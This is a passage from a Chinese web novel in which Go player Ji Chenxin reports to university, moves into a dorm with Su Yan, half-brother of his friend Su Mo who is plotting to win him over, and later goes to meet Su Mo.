“等一下,我泡面还没吃完。”章林杰属于一直不声不响的那种,在众人快速吃完东西马上要开局时,他慢慢悠悠地才吃到一半。 “你也太细嚼慢咽了,大口一点,像个爷们!”赵言权打趣催促他。 * 返回墨城是第二天上午十点出发的,纪辰新和赵言权直接包了车抵达家门口。 李春兰早就盼着孙儿回来了,就怕他在外伤势休养不好,导致恶化。 家里灶上的老母鸡已经被炖到脱骨,纪辰新和赵言权刚下车,就被老太太带在餐桌前,一人一大碗按着吃。 纪辰新都服了,“奶奶,我先喘口气,喝口水先。” “喝什么水,直接喝鸡汤,有营养,你现在正需要。”李春兰严格按照医生制定的食谱给纪辰新进行食补。 赵言权没那么多讲究,他吃着老太太特制的排骨和鸡汤,享受的眯起了眼,“这C市的食物一点都不好吃,还是纪奶奶做的菜合我口味。” 他现在是越长大,嘴越甜了,哄得李春兰笑的合不拢嘴,“你喜欢吃就好,锅里还有好多!” “哈哈哈哈,放心吧纪奶奶,我一定全吃完。”由于中午没吃午饭,赵言权一连干了三碗饭才堪堪停下。 纪辰新咬着嫩滑的鸡肉,喝了一碗汤后就没吃了。 李春兰看着孙儿有些发愁地道,“你那些同学早就进大学报到了,小新你跟老师请了多久的假?” 纪辰新想都没想,便道,“奶奶,这你就别担心了,现在是军训时间,我去也是遭罪,等军训结束,再过去报道也不迟的。” “而且辅导员那儿,我也早就说清楚了,我有病历在手,咱又没糊弄她对不对?” 说到读大学,赵言权没什么发言权,不过他知道苏陌跟纪辰新报的是一个大学,既然苏陌到现在也都还没去,那么纪辰新作为一个病患就更不用担心了。 “我打算过两天就回帝都了,纪辰新你要不要跟我一块儿过去,正好去看看你的学校?” 赵言权擦了擦嘴道,“我这次在外呆太久了,也是时候回去了。” 纪辰新算了算时间,再过几天学校军训差不多也结束了,他确实该过去报道了。 “可以,三天后,咱一起出发吧。” * 三天后。 去往帝都的路,是赵言权走过最艰苦的路,因为纪辰新的伤势现在还不宜坐飞机,俩人便只能乘坐火车,一天一夜下来,差点给赵言权摇吐了。 下了火车后,赵言权果断叫了出租车,这要是按照纪辰新以往坐公交的习惯,更会要了赵言权的老命。 纪辰新听从赵言权的建议,在他家休整了一天,才一起去了学校。 报道当天,学校的军训已然结束。 纪辰新带着病历本站在辅导员办公室,经过一番安排后,他终于前往了自己的宿舍,赵言权则在一旁给他提行李。 九月中下旬的暑气已像被拉长的影子般淡去大半,清晨的风裹着香樟叶的清苦掠过教学楼,把空气里最后一丝粘腻吹得散淡。 路上没有报道时拖着行李的拥挤人群,大多都是背着双肩包的身影,有的脚步匆匆,怀里揣着刚打印好的课表,还有的慢慢悠悠晃着,闲情逸致,说笑打闹。 不过对于大多数新生来说,几乎都介于“陌生”和“熟悉”之间,一场军训带来的友谊,或多或少已经成型。 抵达宿舍时,已经是上午十点左右了,目前是上课时间,所以宿舍里几乎没人。 纪辰新用辅导员给的钥匙开了208的门,最先撞进感官的不是想象中的杂乱,而是混着淡淡洗衣液香以及皂角味的气息。 宿舍总共四张床位,上床下桌,其中只有一张是空着的了,而且还是挨着厕所墙的那张,纪辰新先是观察了下墙面,有无渗水的可能,然后又走近闻了下味道,确定没事后,他才让赵言权帮他放行李。 赵言权看着这个只有三十个平方的小房间,居然要住四个人,狠狠蹙了眉,“这集体生活,可以说是毫无隐私可言啊!” “而且这条件” 几个没有收拾过的床铺,门后挂钩上挂着满满当当的衣服。 有两张桌子上还摆着已拆开的薯片袋敞开着,饼干屑落在地面上,无人打扫。 鞋架上塞着几双沾了泥印的鞋,跟拖鞋挤在一起。 “起码没有怪味不是吗?”纪辰新因为没有期待,所以平常心对待,“男生宿舍通常都这样,这已经算不错的了。” “额主要还是有点小,而且四个人住一起,还是会不方便吧。”赵言权从未住宿过,到哪都是走读,毕竟家里的房子又大还有人伺候,所以不太适应这类生活。 纪辰新无所谓道,“还好啦,快帮我收拾吧,等下他们回来了,我的行李继续摊地上会影响出行的。” 赵言权任劳任怨地帮他收拾,每个人有个小衣柜,纪辰新将自己的衣服都挂进去后,门外突然有人敲门,说是送书过来。 他选的是计算机互联网专业,以他浅薄的印象来看,未来这个专业还是比较吃香的。虽然他并不一定要以此为生,但多给自己一层保障还是很有必要的。 一摞摞书搬进来,堆满了纪辰新的书桌。 赵言权随意翻看了几眼就头疼了,“走吧,给你买洗漱用品去。” 纪辰新点了下头,“再等一下吧,刚刚辅导员说了,还会安排人过来送四件套,主要是方便我们外地学生,减少出行负担。” “好吧。”赵言权百无聊赖,便去了厕所。 “啊!”陡然间,厕所传来他的惨叫声,“这这这哎呀我滴妈,卧槽!” 纪辰新都被他吓到了,“怎么了?怎么回事?” “这么老大一个蜘蛛,还有蟑螂!”赵言权迅速跑了出来,厕所都没上了,“我看到蜘蛛跑窗外去了,还有一个蟑螂不知所踪。” “这要是爬床上,我简直能去死。” “好兄弟,依我看,你别住宿舍了,要不搬外面去吧。” 纪辰新去了厕所查看,整体还好,至于赵言权说的蜘蛛和蟑螂他没有看到,“没事,买点药水铺地面上,应该就没事了。” “我就说你好养活吧,这居然都不当回事。”赵言权起了一身鸡皮疙瘩,“你若是执意要住这儿,等会儿,去买个帘子围床上,省的不知道还有什么东西爬来爬去。” 这个提议,纪辰新倒没有异议,他确实是这样想的,一来可以防虫蚁,二来也能保护隐私,他下棋的时候还是不太希望被人打扰的,所以他得买一个透光不透人的床帘。 送四件套的人,是十分钟后到的。 纪辰新看了眼另外三个床铺,有俩人跟他一样是用的学校统一购置的四件套,只有一个人风格迥异,被子与他们大不相同,但看得出来质量很好,甚至这个人的桌子,也没有另外俩人那么凌乱,反而干净整洁的很。 因此,纪辰新合理猜测,这或许是个本地人? 不对,本地人应该会走读,不住校吧。 系统突然出声:【这可不一定噢,每天从家里来回也很麻烦的好吧,况且】 说到这儿,系统倏然闭嘴了。 纪辰新明显察觉到什么,【你倒是了解,那么听你的口吻,你是已经知道这是个本地人了?】 系统尴尬回应,【啊?不知道啊,我怎么会知道。】 【嗤】纪辰新鬼才信他,三两步便走到对面书桌前,瞄了眼铺设在桌面上的书本,都不用翻开,就看到了上面的名字:“苏衍” 苏衍? 纪辰新怔了好一会儿,始终觉得这个名字熟悉,却又说不出在哪听过。 但他姓苏欸,难道跟苏陌有什么关系? 总不会是苏陌那个同父异母的弟弟吧!—— 作者有话说:系统[彩虹屁]:嘿嘿,就是他! 第73章 这个意识一冒出来, 骤然间,纪辰新眼皮一跳,过往的记忆逐渐清晰了起来。 苏衍? 那不就是苏陌同父异母的弟弟吗! 见纪辰新站在对面书桌前发呆, 赵言权也凑了过来,“你干嘛呢?” 纪辰新有些恍神,指了指书本,示意赵言权看,“这人,你认识吗?” 赵言权愣了下, 瞄了过去, 看到苏衍这个名字时, 陡然瞪大了眼睛,“欸,等等, 这不会” “这不会这么巧吧?” 显然赵言权也意识到了什么, 他仔细想了想, “不过还真有可能是他。” “苏衍在苏陌跳级之后, 也跟着跳了一级, 他是在初中毕业,上高中的那一年转来帝都的, 还跟苏陌一个学校, 但不同班。” “他围棋上没有什么天赋, 所以在读书上苦下功夫,一直跟苏陌较着劲呢。” “这几年,他总会时不时去拜访一下苏陌的爷爷奶奶,但据我所知,苏衍始终得不到他们的认可。” 纪辰新发出疑问, “那他现在住哪?” “当然是跟他爸妈住一块啊,他们把江洲原本的房子卖了,然后在帝都置换了一套,主要也是因为苏陌的爷爷奶奶不让他们住进来的缘故。”赵言权讲述道。 “苏陌爷爷奶奶手底下有很多资产,他们就想着这个呢,之前苏枕山说是南下做生意,但一直也没什么水花,这不就把主意打回帝都了。” 纪辰新听的头疼,“这算是豪门恩怨吗。” 赵言权笑笑,“算吧,苏枕山已经是弃子,现在就看他这两个儿子谁更争气,明显苏陌更胜一筹,那苏枕山能忍?苏陌都不认他!” “所以他现在将全部的希望都寄托在苏衍身上了。” 纪辰新一时不知该说什么好,“太复杂了,这不是我们能参与的,走吧,买洗漱用品去。” 赵言权撇撇嘴,“还是我家好,就我一个,不存在有人跟我争家产。” 这倒是,纪辰新表示认可,“家庭关系简单确实少去好多烦恼。” * 俩人出门没多久,208寝室就有人回来了。 来人身形挺拔,五官偏冷,眉骨锋利,松散垂落的额发遮去他眼底的锐气,眼睫在眼下投出浅影,像蒙着一层化不开的雾。 当他看向对面新搬来的床铺时,嘴角的弧度带着疏离的沉郁。 他好像很期待接下来的校园生活,但眼尾微微下垂没有半分柔和。 苏衍盯着纪辰新的床铺看了好一会儿,神色犹疑,所以这位就是苏陌最在乎,最重要的朋友吗,重要到可以放弃升段赛的那种? 纪辰新参加全国赛的影像他已经看过了,好像除了长的帅,棋艺不错之外,也没有什么特别的了。 居然能让一向冷静自持的苏陌方寸大乱?真是不可思议! 要是能为他所用,就再好不过了。 手机发出震动声音,苏枕山的讯息一条接一条的抖了过来。 【学校那边我已经搞定,他现在应该跟你搬进同一个宿舍了,接下来就看你的表现了,争取跟他搞好关系,实在不行就收买他。】 【务必要让他对苏陌离心,尽早策反他。】 苏衍的眉宇间攒着一点若有似无的倦意,指尖轻点屏幕回复道,【知道了。】 纪辰新和赵言权在外面逛完超市,买了洗漱用品后,就去了学校对面的自助餐馆吃午餐。 等俩人挺着圆滚滚的肚子从餐馆出来时,时间已经是中午一点了。 赵言权没再陪着纪辰新回宿舍,而是回了自己家,不过临走前,他找人要了张苏衍的照片发给纪辰新,并叮嘱道,“如果真是这个人,你就离远一点,毕竟他跟苏陌的关系你也知道,太敏感了。” 纪辰新当然懂,苏陌作为他的朋友,那苏陌不认可甚至说是厌恶的人,就绝对不能去沾边,不然置苏陌于何地? 于是带着这样的想法,二十分钟后,纪辰新一推开208的门,就猝不及防地与赵言权发给他照片里的人打了个照面。 霎时间,给纪辰新吓的,心脏都差点跳了出来,这感觉无异于是大白天撞见鬼的既视感。 他眼皮跳了跳,真想当个透明人走过去,但无奈对方向他露出了一个友好的笑容,“你好,你就是新来的室友吗?” 纪辰新尴尬点头,“嗯,对。” 他一句话都不想多说,迅速回到了自己的桌前,将买的洗漱用品都归置好,只是可惜,他并没有买到合适的床帘。 在他收拾东西时,厕所里倏然出来一个穿着篮球服的男生,他剃着寸头,陡然看见纪辰新的那一瞬,眼睛都亮了,“我们宿舍这是怎么了,有苏衍一个大帅哥还不够,现在又来了个更帅的,这让我和侯杨情何以堪啊!” 被叫侯杨的男生,正好串门回来,一进门,就冲着纪辰新的背影兴致高昂道,“是新室友吗,总算把你盼来了!” 纪辰新向穿着篮球服的男生点头致意了下,然后又回头朝门口叫侯杨的男生笑了笑。 “你们好,我叫纪辰新,是你们新来的室友,我是因为身体原因,所以现在才过来报道的。” 他简单介绍了自己的信息。 侯杨自来熟地凑了上去,“原来学校贴吧里讨论的就是你啊。” “啊?”纪辰新明显很懵,“什么?” 侯杨直接拿出手机,“喏,有图有真相,有女生拍了你的照片,问哪个系,哪个班的呢,你这是刚进学校就惹桃花啊。” 纪辰新仔细看了眼照片,拍摄地点就在教学楼主路上,而一直站在他身旁的赵言权居然直接被截掉了,于是照片里只出现了他一个人。 帖子下面,短短三个小时的时间,楼已经盖了三千条了。 侯杨看着那些花痴般的彩虹屁,羡慕的牙都咬僵了,“看看,她们说你什么,世间罕见神颜!” “淦,老子暗恋的女生不会也混迹其中吧?” 侯杨越想越心塞,看向纪辰新的眼神妥妥的羡慕嫉妒恨。 苏衍适时为纪辰新解围,“这还不好,到时候你搞不定的女生,就让辰新帮你追,你约不出来的,他都能给你约出来,吃吃饭饭,看看电影,何愁不成。” 纪辰新不着痕迹地蹙了下眉,他意味不明地看向这位有过一面之缘的苏陌同父异母的弟弟。 苏衍见纪辰新看向自己的神情不对,立即找补道,“哈哈,我开玩笑的,追女生当然得真心诚意的去追啊,哪能靠别人,张景龙你说呢?” 张景龙就是那个穿着篮球服的男生,他一直在偷偷打量纪辰新,并感叹他的颜值之高,现在被cue,瞬间下意识道,“当然啦,不过要是能有辰新兄弟帮忙,肯定是事半功倍的。” 侯杨因为这两人说的话,也越发这么认为,“哎,多说无益,真到那时候再说吧。” 他感叹了一会儿,便去帖子里装逼了,【啊,这不是我室友吗,今天刚来学校报道。】 他这一发出去,没两分钟就被几十条回复围追堵截了。 【真的假的?新生?】 【新生吗?长这么帅,怎么可能军训期间不被发掘,层主乱说的吧?】 【没听层主说吗,这帅哥刚来报到!】 【啊啊啊啊,所以是真的吗,叫什么,哪个系的?】 【】 颜值高的人,任何人看了都赏心悦目,张景龙也开始了套近乎,“辰新兄弟,你平时打不打篮球?” 纪辰新将书本放置好,淡淡回复道,“打的。” “那敢情好啊,要不要加入我们篮球社?”张景龙都已经能预想到了,如果纪辰新加入他们,那他们社团该被多少女生拥护啊,说不定每次篮球赛还能吸引不少女粉观看呢。 纪辰新顿了下,没直接拒绝,他知道学校有很多社团,打算到时候详细了解一番后,再选择性加入。 毕竟目前围棋对他来说才是最重要的,所以他得平衡下棋的时间。 苏衍状似无意地提起,“你要是对社团感兴趣,要不要加入我们围棋社?” 围棋社? 纪辰新眉眼清俊地睨了他一眼,赵言权说过苏衍围棋天赋并不高,那他加入围棋社是为了什么? 陶冶情操?还是不死心地想要在围棋上跟苏陌较量? 纪辰新想了这么多,唯独没想到,苏衍的目标其实另有其人,而那个其人正是他自己。 “哎呀,围棋谁下啊,这么费脑的东西,还不如运动来的实在。”张景龙想当然道,“辰新兄弟,你千万别选围棋社,这东西难学的很,白白浪费时间就算了,还吃力不讨好,傻子才学呢。” 纪辰新:“” 他默了一瞬,然后从书包里拿出了一份折叠式棋盘,“其实,我平时还是会下点棋的。” 张景龙蓦地瞪大了眼睛,嘴巴都木了,“噢,是吗,那你挺厉害。” “呵!”目睹全程的苏衍突然笑了,他将袖口挽到手臂,露出的手臂线条干净又清瘦,他拿了两本书放进书包,“时间不早了,我们得去上课了。” 他话刚落,张景龙瞬间弹射起步,“卧槽,没记错的话,这节课点名,快走快走。” 侯杨也被惊醒,马不停蹄开始找书本。 纪辰新愣愣地看着他们,好一会儿才想起辅导员好像没给他课表。 苏衍正是这个时候朝他走过来的,他贴心的将一份纸质课表放在纪辰新的书桌上。 “先用我的吧,上课要紧。” 说罢,他从纪辰新的书摞里,抽出了两本书,“带上这两本书,跟我走。” 纪辰新没想太多,拎着书就跟了上去。 与此同时,走在前面的苏衍,嘴角无意识地牵起一抹笑,一切尽在掌握!—— 作者有话说:纪辰新:呵呵[白眼] 第74章 军训刚刚结束没多久, 大家才上了不到两天的课。 去往教学楼的路上,不少人的肤色黑了至少两个度,他们凑在一块儿, 胳膊、脖颈全是晒红转黑的印子。 唯独因病缺席的纪辰新站在人群中,白的格外扎眼,他眉眼清俊更显突出,如同晒透的麦浪里,落了株没沾过暑气的白杨树。 再加上他本就是冷白皮,连带着好看的五官, 根本不用刻意去做什么, 就能轻而易举地成为人群的焦点, 惹人眼的存在。 而围绕在他身边的张景龙和侯杨完全不像是一个次元的人,俩人一路从宿舍出来,头一次受到这么大的关注, 一时紧张到手脚顺拐, 不自在极了。 苏衍则在前面带路, 脚步不急不缓, 他从小便习惯了众人打量的目光, 此刻就算更多的视线看过来,他也不会觉得怎么样。 所以, 即便面对纪辰新这样的颜霸, 即便被夺去了不少关注, 他也并无嫉恨,因为他志不在此。 拿到苏家所有的资产,至少一半以上,才是他的最终目的。 苏衍决定以平常心对待纪辰新,只有这样, 一举一动,才更容易拉近彼此之间的距离。 他相信,纪辰新也会更容易接纳这样的他。 过去教学楼的路有些漫长,纪辰新算了算时间,他们大概走了有15分钟,才抵达课程表里注明的上课地点。 苏衍指着面前的楼栋,回头道,“这就是计算机学院,我们课表里大部分的课程都在这栋教学楼,还有少部分在其他楼栋。” “这节课是在3楼302,走吧,还有五分钟就要打上课铃了,等下怕抢不到好座位。” 他口中的好座位就是教室的最后一排,几人过去时,最后一排已经被人占了,甚至倒数第二排都没了。 无奈之下,四人最后坐在了倒数第三排。 纪辰新抬眼望过去,教室的前三排根本没人坐,大家都默契的挤在后边,仿佛前面有什么洪水猛兽在等着一样。 “计算机科学与技术是我们的主要学科,同时还涉及编程应用与软件工程,其中算法也有教学。” 苏衍坐在纪辰新身旁淡声介绍道,“罗教授很严格,昨天他就说了,每一堂课都会点名,所以他的课,最好别翘课,也别迟到。” 纪辰新点了点头,“多谢提醒。” 学计算机的大多数是男生,教室很大,1班和2班一起上课,教室里乌泱泱的,几乎看不到几个女生。 “座位都是随便坐的,你记住就行。” 纪辰新继续点头,他翻开书本,打算看看昨天都学了什么。 苏衍服务周到,“我这里有笔记,你要不要?第一堂课其实也没讲什么太深奥的东西,你看一遍笔记差不多就知道了。” 就目前的相处来看,纪辰新发现苏衍这个人整体来说还不错,但同时又带着点违和感,直觉告诉他这人应该不简单。 不过他也不愿去深究太多,毕竟他已经做好了只跟苏衍做普通同学的准备,反正再怎么样都不能越过苏陌而去与他成为朋友。 纪辰新安静坐着,翻动笔记,侧脸线条干净得像精心勾勒过,连光落在他脸上的角度都格外规整,他不像和众人在同一帧画面里,肩线笔挺,眉眼分明,连“真实”的质感都不一样。 苏衍凑近跟他说话,目光时不时从他脸畔划过,却几度被纪辰新松弛的神态,锐利的轮廓晃的失神。 那几个瞬间,他不由的在想 所以,苏陌也是从这个角度看纪辰新的吗? 认真的男人果然别具魅力,很难想象与这样的人对弈,其自信张扬的笑容,配上绝对的棋力,会是怎样的震撼。 可惜自己不善围棋,倒是无法领教了。 一堂课45分钟,两堂课连一起再加上中间的十分钟休息时间,近两个小时就这么过去了。 上完课,时间已经来到下午四点,由于后面已经没课,苏衍便提议大家回寝室休整一下,五点左右再一起出去吃饭。 “辰新刚来,跟我们也不熟,我们带他去逛逛,顺便吃个饭,我们寝室才算齐了。” 他这一说,侯杨和张景龙都没有异议。 “这样吧,我们去北辰食堂,那里二楼的小碗菜还不错,昨天我和张景龙去吃了,特别是那个香菇滑鸡和土豆牛腩,真的良心推荐,又便宜又好吃。” 侯杨说到这,肚子真有点饿了,“怎么样?要不要跟我们一起去尝尝?” 苏衍看向纪辰新,“我都无所谓,主要看辰新的想法。” 纪辰新:“可以啊,但我还没充饭卡,要去哪充你们知道吗?” 张景龙拍了拍胸脯,“哎呀,多大点事,走走走,我带你去。” 说罢,一行四人便出了教室,只是没曾想,教室外有几个女生正在等着。 几个女生一看到纪辰新出来,便推推搡搡,最终由一个胆子大点的女生主动开口道,“请问请问” 女生结结巴巴,还来得及说什么,纪辰新的手机便响了。 少年态度谦和道,“抱歉,我接个电话。” 话落,他便离开了人群,选了个相对安静的地方。 打电话过来的是刘律师。 刘律师在电话里给他带来了好消息,“庭审进展顺利,今天第一审判决下来,纪知远被判了十三年。” “不过他不服审判,上诉了更高一级的人民法院。” 紧接着,他又补充道,“这个案件事实清楚、证据充分、争议不大,就算他上诉,也改变不了什么的。” “估计下次开庭要两个月后了。” “等到省人民法院宣判,他再上诉也没用了,我国实行两审终审制,二审法院的判决、裁定即为终审裁判。” 纪辰新没想到刘律师办事效率这么高,“辛苦了,刘律师,真是太感谢了。” “哈哈,不辛苦,苏先生很关注这个案子,隔三岔五就催我,甚至还打点了关系,让这个案子提前进审,不然怎么都得再等段时间的。”刘律师不敢居功,直接将事实摆了出来。 纪辰新心下微暖,他知道这事若没有苏陌的帮助与推动,他现在根本没法当甩手掌柜,更没办法这么轻松,又是参加比赛又是进大学读书的。 “好的,我知道了,总之也很谢谢你。” 挂断电话后,纪辰新主动给苏陌发去了消息,【一审判决已经出来了,你知道吗?】 消息并没有立即得到回复,他猜测苏陌应该是有事在忙。 见他挂断电话,刚刚鼓起勇气开口的女生,再没了之前的胆量,内心小鹿乱撞,害怕被拒,磨磨蹭蹭地不敢上前,直往后躲。 侯杨看不得美女受挫,主动道,“你们要不加我?到时候我把我室友的企鹅号推你们!” 张景龙扯了下侯杨的胳膊,示意他这样做不妥,怎么也得问过纪辰新的意见才行。 侯杨顿了下,重新开口道,“先说明,我室友若是不愿意,就没办法了哈!” 霎时,女生们既期待又感激地看向他,“好的好的,没问题,真是太谢谢你了,你真是个大好人!” 就这样,侯杨一口气加了三四个女生的企鹅号,其实他可以只加一个的,但责任感和道德感驱使他没办法漏掉任何一个。 纪辰新回来时,那几个女生已经恋恋不舍的走了。 张景龙特意打趣道,“你刚刚错过了一串桃花。” “额”纪辰新不知该如何回复,脑子一转,简单粗暴道,“我目前不考虑谈恋爱。” 至少在任务完成之前,他都不可能谈恋爱,一来他没有这个心思,二来情感淡薄,根本无法想象自己与另一个人建立亲密关系的样子。 听到这句话的侯杨,瞬间傻眼了,他刚加了这几个女生的联系方式,难道现在就要告诉她们这个不幸的消息吗? 张景龙根本不信,笑了笑,“现在都说不准的,或许你哪天就心动了呢?毕竟爱情是没有道理可言的!” “走吧,先去充饭卡,然后再回宿舍。”苏衍合理安排着,他对什么情情爱爱的更没想法,一心只想搞钱搞资产。 其实一定程度上,他与纪辰新还是有些相像的,都是那种两耳不闻窗外事的事业批。 他的一生,几乎从生下来知晓世事起就在跟苏陌比,一开始是他的母亲在要求他,后来是他的父亲和母亲一起要求他。 而现在,是他自己这样要求自己。 苏陌会的,他要努力去学,争取做到最好,苏陌不会的,他更要努力去学,争取获得爷爷奶奶的青睐。 要是去细想,他也不知道这一生到底在追求什么。 既然父亲和母亲都说,家产不能被苏陌一个人拿了,那么他就努力去表现,去拼,好像只有这样,他才活的不空虚,才是一个有用的人。 至于争完家产之后的事,他从未去想过,因为他也不知道。 操场上,不少人穿着运动服在慢跑,草坪上散着几群人,铺着野餐垫,分享从超市买的零食,有人拿着吉他,弹唱着慢悠悠的民谣,歌声悦耳又动人。 林荫道里的树叶开始泛黄,风一吹就落下几片,纪辰新弯腰捡起一片完好无损的叶子夹进了书本。 苏衍不明白他的行为,却至始至终都记得自己要与他搞好关系,便主动询问道,“你这是做什么?” “做书签啊,或是当做九月的纪念。”纪辰新顺手又捡起一片半卷的梧桐叶挡在了苏衍的眼前,阳光立刻漫了进来,把叶片上交错的脉络泡成了透亮的金。 连边缘翘卷处沾着的半粒浅黄绒毛,都被光染的清晰又软和。 纪辰新干净的白皮肤衬的五官愈发清晰,只见他笑吟吟地道,“挺好看的是不是?” 风轻轻掀动叶边,光斑在眼底晃了晃,苏衍倏然意识到纪辰新身上拥有自己从未拥有过的东西。 那就是——一双善于发现美的眼睛。 纪辰新热爱生活,并且能接住生活中藏在寻常里的、闪着光的小温柔。 而反观他自己,却是个为达目的,剥离一切无效关联的人。 甚至,就连选择这所学校,这个专业,也并非是因为他喜欢,全部都只是为了方便行事罢了。 但这又如何,只要最终能够成功,他愿意舍弃所有。 就是面前这人,实在太碍眼,也太惹眼了,让人莫名的想要毁掉,却又不得不选择靠近。 真是难办的很,也讨厌的很! 第75章 等充完饭卡, 几人回到宿舍时,已经是下午四点半了。 纪辰新由于身上的伤还没休养好,便躺上了床。 侯杨的床铺跟他是紧挨着, 见纪辰新上了床,便也跟了上去,靠在床头旁推侧击询问道,“你真对谈恋爱没兴趣啊?” 纪辰新缓慢睁开眼,朝他瞥了瞥,淡声道, “嗯, 怎么了?” “我这不是刚加了几个女生的企鹅号嘛, 她们现在问我要你的联系方式,我是直接帮你拒了还是?”侯杨语气忐忑极了。 纪辰新没什么表情道,“拒了吧, 我不喜欢给人留下不切实际的幻想, 不过你委婉点, 就说我目前以学业为重, 祝她们早日找到更心仪的对象。” 得了明确回复, 侯杨叹息了一声,“行吧, 你确定不会后悔噢?” “不会。”纪辰新说完这两个字, 就重新闭上了眼, 他不喜欢拖泥带水,既然要拒绝,就从源头上杜绝,他自己也会洁身自好。 张景龙默默听着俩人的对话,打趣道, “估计是没有看的上眼的,我就不信辰新兄弟遇到真命的那天,还能如此冷漠嘴硬。” “对了,外国语学院有个特别清纯的女生,辰新兄弟,你刚来肯定还没看过,要不要看看,说不定就动心了呢?” 说着,他就朝侯杨使了个眼色,“侯杨,我记得你有保存照片吧,你把图发出来,让他看看。” 侯杨摇摇头,“额前两天刚清了内存,已经没了,得去贴吧找。” 他的行动力也是强,说找就找,秉着一定要让纪辰新惊艳的心,短短五分钟下来,就找了十来张照片,全部发在了寝室群里。 纪辰新本来是想眯会儿的,然而两人的谈话声弄的他根本没法睡。 虽然他早就知道男生宿舍不是爱打游戏就是爱谈论女生,但这一直谈论,也是让人挺无奈的。 他的手机早在上课时就已经设置了静音,所以,现在侯杨发再多的照片,他也没有任何反应,甚至摒弃了杂念,继续睡自己的。 下一秒,侯杨突然惊疑了一声,“卧槽,学校什么时候又蹦出了一位这么帅的?” “这颜值,感觉跟咱辰新兄弟不相上下啊!” “等等,金融学院辅导员办公室门口?手里拿着新生入学指南?难道又一个刚来报到的?” 短短几句话的信息,坐在书桌前的苏衍眼皮猛地一跳,他脑海中瞬间出现了一个人的名字,苏陌! 仔细算算时间,爷爷对苏陌的处罚应该已经结束了,现在过来报到,好像也无可厚非,就是有点太急了 天才如苏陌,升段赛弃赛这么大的事,苏瀚阳即便再看重他,却也是实打实的气到了,所以在升段赛结束的当晚,就关了他禁闭,目的是反省。 思及此,苏衍起身朝侯杨走了过去,然后瞥了眼他的屏幕,果不其然,照片里的人居然真是苏陌。 他竟如此急不可耐地来学校报到了? 刚被放出来,就直奔学校,到底是为了读书,还是 苏衍的视线不由地落在了正闭目养神地纪辰新身上,少年丝毫没有被他们影响,依旧睡的不动如山。 与此同时,纪辰新的手机屏幕已经被将近二三十条的信息填满,其中还有打过来的,未接电话。 纪辰新一无所知地睡了半个多小时,最后还是苏衍叫醒他,他才陡然醒了过来。 只见他意识终于回笼,室内的光线变弱,夕阳斜斜切过窗沿,把铁架床的影子拉的老长。 他揉了揉眼,看着叫醒他的苏衍,“现在是什么时间了?” 苏衍笑着道,“五点半了,看你睡的香,我们就都没喊你,喏,饭也给你打回来了,就在你桌上。” 纪辰新愣愣地反应了会儿,终于拿起手机看了眼。 这一看不得了,满屏都是苏陌发过来的讯息。 首先第一条便是回复他之前发的那条关于纪知远一审判决的消息,苏陌表示自己知道了,刘律师都跟他汇报过了。 下一条是苏陌告诉他升段赛圆满结束,他目前已升8段。 再之后,是苏陌来了学校报到,问他在哪,见面,一起去吃饭。 里面甚至还有照片,内容是学校操场,他就在那儿等。 由于纪辰新没有回复,苏陌便给他打了几个电话。 纪辰新看完,马不停蹄地赶紧给他回了电话。 电话几乎是一秒接通的,对面的少年嗓音清冷,“喂?” 纪辰新迅速致歉,“不好意思啊,苏陌,我下午睡着了,然后手机又静音,所以没及时看到你发的消息。” “没事,你在哪个宿舍,我来找你。”少年语气慵懒又轻快,他的思念与期待几乎融进了每一个字的音节里。 纪辰新直言道,“不用,我来找你吧,你还在操场吗?” 说着,他就立即起身下床,去弥补自己让人干等了这么久的疏忽。 “嗯,在呢。”苏陌听到纪辰新要来找他,眉眼温柔道,“正好,我带你去一个地方。” 纪辰新从床上爬了下来,穿戴好鞋子,临出去之际,手腕被苏衍扣住了。 “你去哪?特地给你打的饭,再不吃的话,等下该冷掉了。”苏衍语气真诚道。 纪辰新看着桌上香喷喷的饭菜,肚子咕噜咕噜叫了两声,还真有点饿了。 他知道浪费粮食是不好的行为,况且这还是苏衍的一番好意,但苏陌肯定也还没吃饭,他若现在吃,难道让苏陌继续等他吗。 再说了,苏陌好像是特意过来找他吃饭的,那他怎么能自己先吃呢? 这可绝对不行! 纪辰新脑子一转,他突然想起刚刚自己打电话时,是有提到了“苏陌”名字的,但此时此刻苏衍却没有任何反应 实在是有些奇怪,难道他没听到? 当他抱着疑惑仔细打量苏衍时,却见苏衍轻轻摘下耳机,一副他一直都在听歌的样子,所以他是真的没听到? 纪辰新思索了片刻,便没再去想了。 不管苏衍有没有听到,他现在都必须得出去了。 纪辰新摆脱了手腕上的桎梏,“是这样的,我朋友来了,我要去找他,饭就不吃了。” “谢谢你给我打饭,要不你拿给别人吃吧,这里一共多少钱?你私聊我就行,我晚点转你。” 说完,他就走了。 苏衍看着他的背影,眸色转瞬即沉。 从今天下午的相处来看,他发现纪辰新这个人虽然看上去对什么都无所谓,但实际上,从一开始他就在心里给所有人划上了一条清晰又鲜明的分界线。 这分界线的一端是普通关系、无关紧要的同学与路人,另一端则是纪辰新所认可的自己人。 而他与苏陌的关系对比,孰轻孰重,一目了然,毕竟纪辰新从见他第一眼起就对他冷淡的很。 不过没关系,一切都才刚刚开始,以后如何谁又能知道? 现在强求也没用,他们认识在先,交情比他深,也正常。 他在与苏陌长达数十年的较劲中,早已习惯挫败,但这些不会将他打倒,只会让他越挫越勇! 苏衍努力忽视内心深处的强烈不甘,他用力按了按太阳穴后,便去洗了把冷水脸,企图让自己恢复平静。 * 夕阳漫过教学楼的檐角,操场成了最热闹的调色盘,跑道边的白杨树,叶片被晒的半透明。 风把操场的喧闹揉的软和,此起彼伏的笑闹声中,少年充耳不闻,微微侧身,安静地立在树下,站姿稳当。 他身着简单的白衬衫,袖口随意挽到小臂,领口敞着一颗扣,露出一点冷白的锁骨。 只见他身姿清瘦,轮廓挺拔,肩背舒展得像是被精心校准过,衣摆微微贴着腰线,脚踩一双干净的小白鞋,浑身透着种不刻意却难掩的矜贵。 少年单手拿手机,另一只手自然垂着,指尖无不透露着干净的冷感。 他的目光落在主行道上,瞳仁是偏深的墨色,像是在等待什么。 操场边,不少人的视线都悄悄落在了他身上,女孩子们靠在一起,声音压的低低的,眼睛却始终没离开过他。 直到操场入口处传来一声轻唤,少年的眸子忽然震动,原本抿成一条直线的唇角极淡的勾起,身上清冷矜贵的距离感,逐渐消融,一切都显的柔和了起来。 纪辰新最后十来米是跑过来的,自他远远看见苏陌起,便即刻加快了脚步与速度。 等他终于站到苏陌面前时,不由捂住胸口,轻喘着气,“不好意思,是不是等很久了?” 人就站在离自己两米开外的地方,苏陌垂着的手悄悄抬了抬,指尖无意识地捻了又捻,这么多天没见,思念在此刻没来由的达到顶峰,且有愈演愈烈的趋势。 